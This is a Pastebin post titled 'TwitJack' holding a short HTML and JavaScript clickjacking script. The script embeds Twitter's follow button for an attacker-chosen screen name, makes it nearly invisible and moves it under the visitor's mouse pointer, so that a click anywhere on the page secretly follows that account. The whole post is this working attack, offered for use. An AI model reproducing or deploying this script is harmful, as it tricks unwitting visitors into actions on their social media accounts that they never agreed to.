Advertisement
iAnonGuy

TwitJack

Nov 24th, 2014
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 1.28 KB | None | 0 0
  1. <html>
  2. <body>
  3. ...
  4. <iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no"
  5.  src="http://platform.twitter.com/widgets/follow_button.html?screen_name=YourUserNameHere"
  6.  style="width:75px; height:20px;">
  7. </iframe>
  8.  
  9. <script>
  10. if (!document.getElementsByClassName){
  11.     document.getElementsByClassName = function(classname){
  12.         for (i=0; i<document.getElementsByTagName("*").length; i++)
  13.        {  
  14.            if (document.getElementsByTagName("*").item(i).className == classname){
  15.                return new Array(document.getElementsByTagName("*").item(i));
  16.            }
  17.        }
  18.    }
  19. }
  20.  
  21. var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
  22. twitterFollowIframe.style.position = 'absolute';
  23. twitterFollowIframe.style.opacity = '0.2';
  24. twitterFollowIframe.style.filter = 'alpha(opacity=20)';
  25. //twitterFollowIframe.style.width = '110px';
  26.  
  27. /*
  28. // cross domain restriction won't allow this
  29. twitterFollowIframe.onload = function() {
  30.    twitterFollowIframe.contentWindow.scrollTo(20, 0);
  31. }
  32. */
  33. document.onmousemove = function(e){
  34.    if ( !e ) e = window.event;
  35.    twitterFollowIframe.style.left = e.clientX - 20;
  36.    twitterFollowIframe.style.top = e.clientY - 10;
  37. }
  38. </script>
  39. ...
  40. </body>
  41. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement